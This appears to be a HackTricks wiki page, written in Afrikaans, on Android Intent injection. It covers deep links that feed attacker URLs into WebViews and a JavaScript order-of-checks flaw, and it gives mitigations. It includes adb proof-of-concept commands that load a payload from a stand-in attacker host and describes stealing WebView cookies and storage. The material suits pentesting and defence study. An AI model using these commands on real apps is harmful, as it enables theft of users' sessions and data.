Intent Injection
Reading time: 4 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Intent-inspuiting misbruik komponente wat aanvallers-beheerde Intents of data aanvaar wat later in Intents omgeskakel word. Twee baie algemene patrone tydens Android-app pentests is:
- Aangemaakte ekstra's aan uitgevoerde Aktiwiteite/Dienste/Uitsendingsontvangers deurgee wat later na bevoorregte, nie-uitgevoerde komponente gestuur word.
- Uitgevoerde VIEW/BROWSABLE diep skakels aktiveer wat aanvallers-beheerde URL's na interne WebViews of ander sensitiewe sinke stuur.
Diep skakels → WebView sink (URL parameter inspuiting)
As 'n app 'n pasgemaakte skema diep skakel soos blootstel:
myscheme://com.example.app/web?url=<attacker_url>
en die ontvangende Aktiviteit stuur die url
navraagparameter na 'n WebView, kan jy die app dwing om arbitrêre eksterne inhoud in sy eie WebView-konteks te vertoon.
PoC via adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS voer binne die app se WebView-profiel uit.
- As JavaScript geaktiveer is (per standaard of as gevolg van verkeerd geordende kontroles), kan jy enige blootgestelde
@JavascriptInterface
-objekte opnoem/gebruiken, WebView-koekies/lokale stoor steel, en pivot.
Sien ook:
Order-of-checks fout wat JavaScript aktiveer
'n Herhalende fout is om JavaScript (of ander toelaatbare WebView-instellings) te aktiveer voordat die finale URL-toelaatlys/verifikasie voltooi is. As vroeë helpers jou diep skakel aanvaar en die WebView eers geconfigureer word, gebeur jou finale laai met JavaScript reeds geaktiveer selfs al is latere kontroles gebrekkig of te laat.
Waar om te kyk in decompiled kode:
- Meerdere helpers wat die URL anders parse/split/rebuild (inconsistente normalisering).
- Oproepe na
getSettings().setJavaScriptEnabled(true)
voordat die laaste gasheer/pad-toelaatlys kontrole. - 'n Pyplyn soos: parse → gedeeltelike valideer → configureer WebView → finale verifieer → loadUrl.
Mitigations
- Kanoniseer een keer en valideer streng; misluk gesluit.
- Aktiveer JavaScript slegs nadat alle kontroles geslaag het en net voor die laai van vertroude inhoud.
- Vermy om brûe aan onbetroubare oorspronge bloot te stel.
Ander klassieke Intent-inspuitingsprimitiewe
- startActivity/sendBroadcast met aanvaller-geleverde
Intent
ekstra's wat later weer geparseer (Intent.parseUri(...)
) en uitgevoer word. - Geëxporteerde proxy-komponente wat Intents na nie-geëxporteerde sensitiewe komponente sonder toestemming kontroleer.
Verwysings
- Android – Toegang tot app-beskermde komponente
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 aanvalsketting (whitepaper)
- Demonstrasievideo
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.